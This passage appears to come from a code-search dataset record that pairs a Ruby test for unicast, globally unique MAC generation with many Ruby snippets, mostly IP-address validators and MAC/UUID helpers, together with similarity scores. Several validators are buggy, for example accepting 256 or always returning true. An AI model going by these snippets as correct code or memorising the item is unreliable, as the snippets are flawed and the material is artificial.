find_good_ip_addr list\n list.each do |addr|\n triplets = addr.split('.')\n if not triplets[0].to_i == 255 and not triplets[2].to_i == 255\n return addr\n end\n end\n nil\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n dot_separated_words.each do |word|\n return false unless (0..256).include?(word.to_i)\n end\n\n return true\nend", "def is_an_ip_number?(input_str)\n input_str.to_i.between?(0,255)\nend", "def dot_separated_ip_address?(input_string)\r\n dot_separated_words = input_string.split(\".\")\r\n return false unless dot_separated_words.size == 4 #\r\n\r\n while dot_separated_words.size > 0 do\r\n word = dot_separated_words.pop\r\n return false unless is_an_ip_number?(word)\r\n end\r\n\r\n true\r\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n if dot_separated_words.size != 4\n return false\n else\n dot_separated_words.each do |word|\n if (0..256).include?(word.to_i)\n next\n else\n return false\n end\n end\n end\n return true\nend", "def valid_ip?(string)\n return false unless string =~ /\\d{0,3}\\.\\d{0,3}\\.\\d{0,3}\\.\\d{0,3}/\n\n string.split(\".\").each do |sub_str|\n if !sub_str.to_i.between?(0, 255)\n return false\n end\n end\n\n return true\nend", "def nip_test (a_ip,b_ip)\n 0.upto(3) {|x| return false if (a_ip[x] != b_ip[x])}\n return true;\n end", "def Check6(ip)\n return false if ip == nil || ip == \"\"\n\n #string num = \"([1-9a-fA-F][0-9a-fA-F]*|0)\";\n num = \"([0-9a-fA-F]{1,4})\"\n\n # 1:2:3:4:5:6:7:8\n if Builtins.regexpmatch(\n ip,\n Ops.add(Ops.add(Ops.add(Ops.add(\"^\", num), \"(:\"), num), \"){7}$\")\n )\n return true\n end\n # ::3:4:5:6:7:8\n if Builtins.regexpmatch(ip, Ops.add(Ops.add(\"^:(:\", num), \"){1,6}$\"))\n return true\n end\n # 1:2:3:4:5:6::\n if Builtins.regexpmatch(ip, Ops.add(Ops.add(\"^(\", num), \":){1,6}:$\"))\n return true\n end\n # :: only once\n return false if Builtins.regexpmatch(ip, \"::.*::\")\n # : max 7x\n return false if Builtins.regexpmatch(ip, \"^([^:]*:){8,}\")\n # 1:2:3::5:6:7:8\n # 1:2:3:4:5:6::8\n if Builtins.regexpmatch(\n ip,\n Ops.add(\n Ops.add(Ops.add(Ops.add(\"^(\", num), \":){1,6}(:\"), num),\n \"){1,6}$\"\n )\n )\n return true\n end\n\n false\n end", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n if dot_separated_words.size == 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\n else\n false\n end\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false if dot_separated_words.size != 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false if !is_a_number?(word)\n end\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def valid_ip?(address)\n #ternary that validates number count if string or returns false\n address.is_a?(String) ? validate_number_count(address) : false\nend", "def dot_seperated_ip_address?(input_string)\n numbers = input_string.split('.')\n return false if numbers.size != 4\n\n numbers.each do |num|\n return false if is_an_ip_number?(num) == false\n end\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n # return \"Invalid\" if dot_separated_words.length != 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n return true\nend", "def exact_ip_address?(str)\n !!(str =~ /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/)\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words == 4\n \n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_a_number?(word)\n end\n \n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split('.')\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_a_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_a_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_a_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n return false unless input_string.count('.') == 3\n dot_separated_words = input_string.split(\".\")\n# ls method - return false unless dot_seperated_words.size == 4\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_a_number?(word)\n end\n\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def binary_multiple_of_4? s\n return true if s == \"0\" \n /^[10]*00$/.match(s) != nil\n \nend", "def binary_multiple_of_4?(s)\n (/^[10]*00$/ =~ s) != nil\nend", "def ip_int(ip=nil)\n\t\treturn FALSE if ip==nil\n\t\tip_int = 0\n\t\toctets = ip.split('.')\n\t\t(0..3).each do |x|\n\t\t\toctet = octets.pop.to_i\n\t\t\toctet = octet << 8*x\n\t\t\tip_int = ip_int | octet\n\t\tend\n\t\treturn ip_int\n\tend", "def is_an_ip_number?(ip_string)\n /^([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])$/.match?(ip_string)\nend", "def binary_multiple_of_4?(s)\n # YOUR CODE HERE\n return true if s == \"0\"\n\t/^[10]*00$/.match(s) != nil\nend", "def valid_ip?(address)\n address.is_a?(String)? validate_number_count(address) : false\nend", "def binary_multiple_of_4? s\n if /^[10]*00$/.match(s) or /^[10]*0$/.match(s) \n return true\n else \n return false\n end\nend", "def valid?\n checksum.to_s.split(//).map(&:to_i).last == 0\n end", "def binary_multiple_of_4? s\n if not s.empty? and s.count('0-9')==(s.size) and (s.end_with?('00') or s=='0')\n return true\n end\n false\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break if !is_a_number?(word)\n end\n return true\nend", "def validate_ip ip\n raise Error, \"Invalid IP Address #{ip}\" unless ip =~ /(\\d{1,3}\\.){3}\\d{1,3}/\n ip\n end", "def ip_well_formed?\n\t\tunless ip_address && ip_address =~ /^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/\n\t\t\terrors.add(:ip_address, \"is malformed\")\n\t\t\treturn false\n\t\tend\n\t\t\n\t\toctets = [$1, $2, $3, $4]\n\n\t\toctets.each { |octet|\n\t\t\tunless octet.to_i <= 256 && octet.to_i >= 0\n\t\t\t errors.add(:ip_address, \"is malformed\")\n\t\t\t return false\n\t\t\tend\n\t\t}\n\t\ttrue\n\tend", "def ipv4?(ip)\n if ip =~ /^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$/\n return true\n end\n false\n end", "def ip_int(ip=nil)\n\t\tif ip==nil\n\t\t\treturn FALSE\n\t\tend\n\t\tip_int = 0\n\t\toctets = ip.split('.')\n\t\t(0..3).each do |x|\n\t\t\toctet = octets.pop.to_i\n\t\t\toctet = octet << 8*x\n\t\t\tip_int = ip_int | octet\n\t\tend\n\t\treturn ip_int\n\tend", "def binary_multiple_of_4? s\n if not s.empty? and (s.end_with?('00') or s=='0') and s.count('0-9')==(s.size)\n return true\n end\n false\nend", "def binary_multiple_of_4? (s)\r\n\t#s.to_i(2) % 4 == 0\r\n\ts == \"0\" || s.class.to_s =='String' && s.length > 2 && s =~ /^[01]*00$/\r\n\t\r\nend", "def dot_separated_ip_address?(input_string)\r\n dot_separated_words = input_string.split(\".\")\r\n while dot_separated_words.size > 0 do\r\n word = dot_separated_words.pop\r\n break unless is_an_ip_number?(word)\r\n end\r\n return true\r\nend", "def binary_multiple_of_4? s\n #If the string is 0 return true\n if s.length == 1 && s == '0'\n return true\n end\n #Uses regular expression to make sure that the string is made of 0 or 1 and ends with 00. As every multiple of 4 ends with 00.\n if /\\A[01]*00\\z/.match(s)!=nil then\n return true\n end\nreturn false\nend", "def ipv4?(string)\n !!string.match(/(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/)\nend", "def ip_address? (str)\n\treturn str.match? /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break uness is_an_ip_number?(word)\n end\n return true\nend", "def binary_multiple_of_4? s\n s =~ /^([01]*0)?0$/\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend", "def dot_separated_ip_addresses?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n return false unless is_an_ip_number?(word)\n end\n\n true\nend", "def check_last_byte(op, value)\r\n return true if op[2..-1].to_i > value\r\nend", "def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true # could be shortened to just true: Ruby returns the result of the last evaluated expression.\nend", "def binary_multiple_of_4? s\n s =~ /(^0|^[10]*00)$/ \nend", "def dot_separated_ip_address?(input_string)\n\n # split the input string at each dot\n dot_separated_words = input_string.split(\".\")\n\n # check the number of elements in the ip address\n if dot_separated_words.length != 4\n puts \"#{input_string} does not have the correct number of elements\"\n return false\n else\n\n # go through each of the sections\n while dot_separated_words.size > 0 do\n # get the current word from the end of the array\n word = dot_separated_words.pop\n # check to see if it is a number\n if !is_a_number?(word)\n # if the word is not a number, notify the user\n # and return false\n puts \"#{word} is not a valid number\"\n return false\n end\n end\n\n # return true if all numbers are valid\n puts \"#{input_string} is a valid ip address\"\n true\n end\nend", "def check_ip_format\n begin\n ::NetAddr.parse_net(\"#{ip}/#{subnet}\")\n rescue Exception => e\n self.errors.add(:subnet, :format, default: e.message)\n return false\n end\n end", "def valid(n)\n ns = n.to_s\n begin\n return ns[0..0] + ns[2..2] + ns[4..4] + ns[6..6] + ns[8..8] + ns[10..10] + ns[12..12] + ns[14..14] + ns[16..16] + ns[18..18] == \"1234567890\"\n rescue\n return false\n end\nend", "def binary_multiple_of_4? s\n if s.empty? || s.count('0-9')!=(s.size)\n return false\n else\n return true if s.end_with?('00') || s=='0'\n end\n false\nend", "def is_valid(ip)\n\t\treturn FALSE if ip == \"\"\n\t\tif ip_int(ip) > 2**32-1 || ip_int(ip) <= 0\n\t\t\treturn FALSE\n\t\telse\n\t\t\treturn TRUE\n\t\tend\n\tend", "def usable\n if ipv6?\n space\n else\n space - 2\n end\n end", "def dot_separated_ip_address?(input_string)\n is_an_ip_number?(input_string.split(\".\"))\nend", "def binary_multiple_of_4? s\n return false if s.empty? or s =~ /[^01]/\n return true if s.to_i % 100 == 0\n return false\nend", "def binary_multiple_of_4?(s)\n if s.empty?\n return false\n elsif (s) == \"0\"\n return true\n elsif (/^[01]*(00)$/ =~ s)\n return true\n else \n return false\n end\nend", "def binary_multiple_of_4? s\n if s == \"0\"\n return true\n end\n if /^[01]*(00)$/.match(s)\n return true\n else\n return false\n end\nend", "def without_zeros()\n @hops.find_all { |hop| hop.ip != \"0.0.0.0\" }\n end", "def binary_multiple_of_4?(str)\n str =~ /^[01]*1[01]*00$/\nend", "def ip?\n return (proto == 'ip')\n end", "def get_ip(remote_address)\n return \"\" unless remote_address\n\n #Capture the first three octects of the IP address and replace the forth\n #with 0, e.g. 124.455.3.123 becomes 124.455.3.0\n regex = /^([^.]+\\.[^.]+\\.[^.]+\\.).*/\n if matches = remote_address.scan(regex)\n return matches[0][0] + \"0\"\n else\n return \"\"\n end\nend", "def binary_multiple_of_4?(s)\n return /(^[10]*(00)$)|\\b0/.match(s) ? true: false\nend", "def checkip?(ip)\n if ip =~ %r=^172.|^192.168.|^10.$=\n return \"Private Class C IP Range\"\n elsif ip =~ %r=^127.$=\n return \"Local Loopback\"\n end\n end", "def octets_for_mask(str)\n case str\n when /\\A(0|[1-9]\\d*)\\z/\n prflen = Regexp.last_match(1).to_i\n raise InvalidAddress unless (0..128).cover?(prflen)\n\n PRIFIXIES[prflen]\n when //\n # noop\n end\n end", "def binary_multiple_of_4?(s)\n return false unless s =~ /^[01]+$/ and s.to_i!=0\n s.to_i(2)%4==0\nend", "def is_valid(ip)\n\t\treturn FALSE if ip == \"\"\n\t\tif ip_int(ip) > 2**32-1 || ip_int(ip) < 0\n\t\t\treturn FALSE\n\t\telse\n\t\t\treturn TRUE\n\t\tend\n\tend", "def validate_number_count(address)\n address_arr = address.split(\".\")\n address_arr.count == 4 ? validate_range(address_arr) : false\nend", "def iptonum(ip) #:nodoc:\n if (ip.kind_of?(String) &&\n ip =~ /^([0-9]+)\\.([0-9]+)\\.([0-9]+)\\.([0-9]+)$/)\n ip = be_to_ui(Regexp.last_match().to_a.slice(1..4))\n else\n ip = ip.to_i\n end\n\n return ip\n end", "def range?\n ip == network\n end", "def check_to_addr_length(block, transaction)\n if transaction.to_addr.length != 6\n puts \"Line #{block.block_number}: the to address #{transaction.to_addr} is too long.\"\n return false\n end\n true\n end", "def validate_number_count(address)\n address_arr = address.split(\".\")\n address_arr.count == 4? validate_range(address_arr) : false\nend", "def dot_separated_ip_addresses?(input_string)\n dot_separated_words = input_string.split(\".\")\n \n while dot_separated_words.size > 0 do\n word = dot_separated_words.pop\n break unless is_an_ip_number?(word)\n end\n return true\nend" ]
[ "0.6546504", "0.6522748", "0.6475629", "0.63831407", "0.63775617", "0.63669884", "0.63386446", "0.63255054", "0.6322312", "0.6310896", "0.628906", "0.62776226", "0.62693197", "0.62693197", "0.6225851", "0.6207032", "0.6187885", "0.61676836", "0.6129858", "0.612508", "0.6103135", "0.6102891", "0.6101493", "0.60937774", "0.6088918", "0.6086173", "0.6083369", "0.60752124", "0.60696906", "0.6066549", "0.6056868", "0.6044186", "0.60229456", "0.6022841", "0.6022237", "0.6019924", "0.6016623", "0.60160637", "0.60160637", "0.60160637", "0.601519", "0.601519", "0.601519", "0.60085136", "0.5999491", "0.59904337", "0.5953831", "0.5941589", "0.5925216", "0.5924665", "0.59220046", "0.59151053", "0.5904785", "0.590391", "0.58797836", "0.58796966", "0.5877657", "0.5872084", "0.58682936", "0.58589923", "0.58546954", "0.5826184", "0.5820686", "0.58177656", "0.5816598", "0.58072", "0.5807093", "0.5789935", "0.57762575", "0.57762575", "0.57762575", "0.5761871", "0.5757017", "0.5743069", "0.5741119", "0.57372636", "0.5728872", "0.5723645", "0.57145315", "0.56799835", "0.56679815", "0.5634593", "0.5627071", "0.56242764", "0.5611063", "0.55939287", "0.55915296", "0.55883753", "0.55749726", "0.55746067", "0.55620897", "0.5557248", "0.55569357", "0.55529857", "0.55406606", "0.55122685", "0.5504738", "0.549927", "0.5491645", "0.5489932" ]
0.7261051
0
Generate a multicast and globally unique MAC address
def test_gen_mac_unicast_globally_unique mac = RFauxFactory.gen_mac(multicast: false, locally: false) first_octect = mac.split(':')[0].to_i(16) mask = 0b00000011 assert_equal first_octect & mask, 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_mac\n if locate_config_value(:macaddress).nil?\n ('%02x' % (rand(64) * 4 | 2)) + (0..4).reduce('') { |s, _x|s + ':%02x' % rand(256) }\n else\n locate_config_value(:macaddress)\n end\n end", "def generate_mac \n (\"%02x\"%(rand(64)*4|2))+(0..4).inject(\"\"){|s,x|s+\":%02x\"%rand(256)}\n end", "def mac_address\n unless @mac\n octets = 3.times.map { rand(255).to_s(16) }\n @mac = \"525400#{octets[0]}#{octets[1]}#{octets[2]}\"\n end\n @mac\n end", "def generate_mac\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n digits = [ %w(0),\n %w(0),\n %w(0),\n %w(0),\n %w(5),\n %w(e),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(5 6 7 8 9 a b c d e f),\n %w(3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f) ]\n mac = \"\"\n for x in 1..12 do\n mac += digits[x-1][offset.modulo(digits[x-1].count)]\n mac += \":\" if (x.modulo(2) == 0) && (x != 12)\n end\n mac\n end", "def test_gen_mac_multicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: true, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 1\n end", "def generate_unique_mac\n sprintf('b88d12%s', (1..3).map{\"%0.2X\" % rand(256)}.join('').downcase)\n end", "def test_gen_mac_multicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: true, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 3\n end", "def test_gen_mac_unicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: false, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 2\n end", "def generate_ULA(mac, subnet_id = 0, locally_assigned=true)\n now = Time.now.utc\n ntp_time = ((now.to_i + 2208988800) << 32) + now.nsec # Convert time to an NTP timstamp.\n system_id = '::/64'.to_ip.eui_64(mac).to_i # Generate an EUI64 from the provided MAC address.\n key = [ ntp_time, system_id ].pack('QQ') # Pack the ntp timestamp and the system_id into a binary string\n global_id = Digest::SHA1.digest( key ).unpack('QQ').last & 0xffffffffff # Use only the last 40 bytes of the SHA1 digest.\n\n prefix =\n (126 << 121) + # 0xfc (bytes 0..6)\n ((locally_assigned ? 1 : 0) << 120) + # locally assigned? (byte 7)\n (global_id << 80) + # 40 bit global idenfitier (bytes 8..48)\n ((subnet_id & 0xffff) << 64) # 16 bit subnet_id (bytes 48..64)\n\n prefix.to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n end", "def multicast_mac(options=nil)\n known_args = [:Objectify]\n objectify = false\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if (options.has_key?(:Objectify) && options[:Objectify] == true)\n objectify = true\n end\n end\n\n if (@version == 4)\n if (@ip & 0xf0000000 == 0xe0000000)\n # map low order 23-bits of ip to 01:00:5e:00:00:00\n mac = @ip & 0x007fffff | 0x01005e000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv4 multicast \" +\n \"addresses should be in the range 224.0.0.0/4.\"\n end\n else\n if (@ip & (0xff << 120) == 0xff << 120)\n # map low order 32-bits of ip to 33:33:00:00:00:00\n mac = @ip & (2**32-1) | 0x333300000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv6 multicast \" +\n \"addresses should be in the range ff00::/8.\"\n end\n end\n\n eui = NetAddr::EUI48.new(mac)\n eui = eui.address if (!objectify)\n\n return(eui)\n end", "def multicast_group\n IPAddr.new(address).hton + IPAddr.new(LOCAL_ADDRESS).hton\n end", "def random_mac(oui=nil)\n mac_parts = [oui||DEFAULT_OUI]\n [0x7f, 0xff, 0xff].each do |limit|\n mac_parts << \"%02x\" % rand(limit + 1)\n end\n mac_parts.join('-')\nend", "def random_mac_addr(provider)\n symbol = provider.to_sym\n case symbol\n when :virtualbox\n PROVIDER_MAC_PREFIXES[:virtualbox] + 3.times.map { '%02x' % rand(0..255) }.join\n when :libvirt\n PROVIDER_MAC_PREFIXES[:libvirt] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware_fusion\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :parallels\n PROVIDER_MAC_PREFIXES[:parallels] + 3.times.map { '%02x' % rand(0..255) }.join\n when :hyper_v\n PROVIDER_MAC_PREFIXES[:hyper_v] + 3.times.map { '%02x' % rand(0..255) }.join\n else\n raise \"Unsupported provider #{provider}\"\n end\nend", "def mac_eth0\n eth0.mac_address\n end", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def tap_mac\n @sock.local_address.to_sockaddr[-6, 6]\n end", "def mac_for_instance(num=nil)\n num = next_instance_to_start if num.nil?\n num = num.to_i if num.is_a?(String) and num =~ /^\\d+$/\n if !num.is_a? Fixnum or num < 0 or num > 255 \n raise TypeError, _('Argument must be an integer between 0 and 255')\n end\n offset = sprintf('%02x', num)\n mac = mac_base_addr.gsub(/00$/, offset)\n\n mac\n end", "def prefix_from_multicast\n if ipv6? && multicast_from_prefix?\n prefix_length = (to_i >> 92) & 0xff\n if (prefix_length == 0xff) && (((to_i >> 112) & 0xf) >= 2)\n # Link local prefix\n #(((to_i >> 32) & 0xffffffffffffffff) + (0xfe80 << 112)).to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n return nil # See http://redmine.ruby-lang.org/issues/5468\n else\n # Global unicast prefix\n (((to_i >> 32) & 0xffffffffffffffff) << 64).to_ip(Socket::AF_INET6).tap { |p| p.length = prefix_length }\n end\n end\n end", "def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end", "def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end", "def mac_address(prefix: T.unsafe(nil)); end", "def mac_addr\n if (mac_addr = @host.at('tag[name=mac-addr]'))\n mac_addr.inner_text\n end\n end", "def mac_address\n super\n end", "def mac_address\n if NicView.empty_mac?(self[\"CurrentMACAddress\"])\n self[\"PermanentMACAddress\"]\n elsif self[\"PermanentMACAddress\"]\n self[\"CurrentMACAddress\"]\n end\n end", "def address\n @mac_address ||= addresses.first\n end", "def calc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n\n mac_array[-1] = sprintf(\"%02x\", mac_array.last.hex + i).upcase\n mac_array.join(\":\")\nend", "def create clock=nil, time=nil, mac_addr=nil\nc = t = m = nil\nDir.chdir Dir.tmpdir do\nunless FileTest.exist? STATE_FILE then\n# Generate a pseudo MAC address because we have no pure-ruby way\n# to know the MAC address of the NIC this system uses. Note\n# that cheating with pseudo arresses here is completely legal:\n# see Section 4.5 of RFC4122 for details.\nsha1 = Digest::SHA1.new\n256.times do\nr = [rand(0x100000000)].pack \"N\"\nsha1.update r\nend\nstr = sha1.digest\nr = rand 14 # 20-6\nnode = str[r, 6] || str\nnode[0] |= 0x01 # multicast bit\nk = rand 0x40000\nopen STATE_FILE, 'w' do |fp|\nfp.flock IO::LOCK_EX\nwrite_state fp, k, node\nfp.chmod 0o777 # must be world writable\nend\nend\nopen STATE_FILE, 'r+' do |fp|\nfp.flock IO::LOCK_EX\nc, m = read_state fp\nc = clock % 0x4000 if clock\nm = mac_addr if mac_addr\nt = time\nif t.nil? then\n# UUID epoch is 1582/Oct/15\ntt = Time.now\nt = tt.to_i*10000000 + tt.tv_usec*10 + 0x01B21DD213814000\nend\nc = c.succ # important; increment here\nwrite_state fp, c, m\nend\nend\n \ntl = t & 0xFFFF_FFFF\ntm = t >> 32\ntm = tm & 0xFFFF\nth = t >> 48\nth = th & 0x0FFF\nth = th | 0x1000\ncl = c & 0xFF\nch = c & 0x3F00\nch = ch >> 8\nch = ch | 0x80\npack tl, tm, th, cl, ch, m\nend", "def arp_dest_mac= i; typecast \"arp_dest_mac\", i; end", "def setup_multicast_socket\n set_membership(IPAddr.new(MULTICAST_IP).hton + IPAddr.new('0.0.0.0').hton)\n set_multicast_ttl(@ttl)\n set_ttl(@ttl)\n\n unless ENV[\"RUBY_TESTING_ENV\"] == \"testing\"\n switch_multicast_loop :off\n end\n end", "def unique_id\n '%8x%s@%s' % [\n Time.now.to_i,\n Digest::SHA1.hexdigest(\n '%.8f%8x' % [ Time.now.to_f, rand(1 << 32) ]\n )[0, 32],\n Socket.gethostname\n ]\n end", "def base_mac_address\n super\n end", "def setup_multicast_socket(socket, multicast_address)\n set_membership(socket,\n IPAddr.new(multicast_address).hton + IPAddr.new('0.0.0.0').hton)\n set_multicast_ttl(socket, MULTICAST_TTL)\n set_ttl(socket, MULTICAST_TTL)\n end", "def mac\n @mac || REXML::XPath.first(@definition, \"//domain/devices/interface/mac/@address\").value\n end", "def multicast\n readConfig unless @@ClusterConfig\n addr=/<multicast addr=\"([^\"]*)\"/.match(@@ClusterConfig)\n return addr[1] unless addr.nil?\n end", "def generateEmailAddress()\n uuid = SecureRandom.hex(3)\n return \"%s.%[email protected]\" % [uuid, @MAILBOX]\n end", "def getMAC\n tmpmac = \"\"\n if Stage.initial\n tmpmac = Convert.to_string(SCR.Read(path(\".etc.install_inf.HWAddr\")))\n end\n cleanmac = Builtins.deletechars(tmpmac != nil ? tmpmac : \"\", \":\")\n cleanmac\n end", "def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end", "def new_socket\n membership = IPAddr.new(@broadcast).hton + IPAddr.new('0.0.0.0').hton\n ttl = [@ttl].pack 'i'\n\n socket = UDPSocket.new\n\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_ADD_MEMBERSHIP, membership\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_LOOP, \"\\000\"\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_TTL, ttl\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_TTL, ttl\n\n socket.bind '0.0.0.0', @port\n\n socket\n end", "def multicast_embedded_rp\n raise 'Not a multicast address' if !multicast?\n raise 'Not an embedded-RP addredd' if !multicast_embedded_rp?\n\n riid = (@addr & (0xf << 104)) >> 104\n plen = (@addr & (0xff << 96)) >> 96\n prefix = (@addr & (((1 << plen) - 1) << (32 + (64 - plen)))) << 32\n group_id = @addr & 0xffffffff\n\n IPv6Addr.new(prefix | riid)\n end", "def mac\n File.open(\"/sys/class/net/#{@name}/address\") do |f|\n f.read.chomp\n end\n end", "def mac_masquerade_address\n super\n end", "def 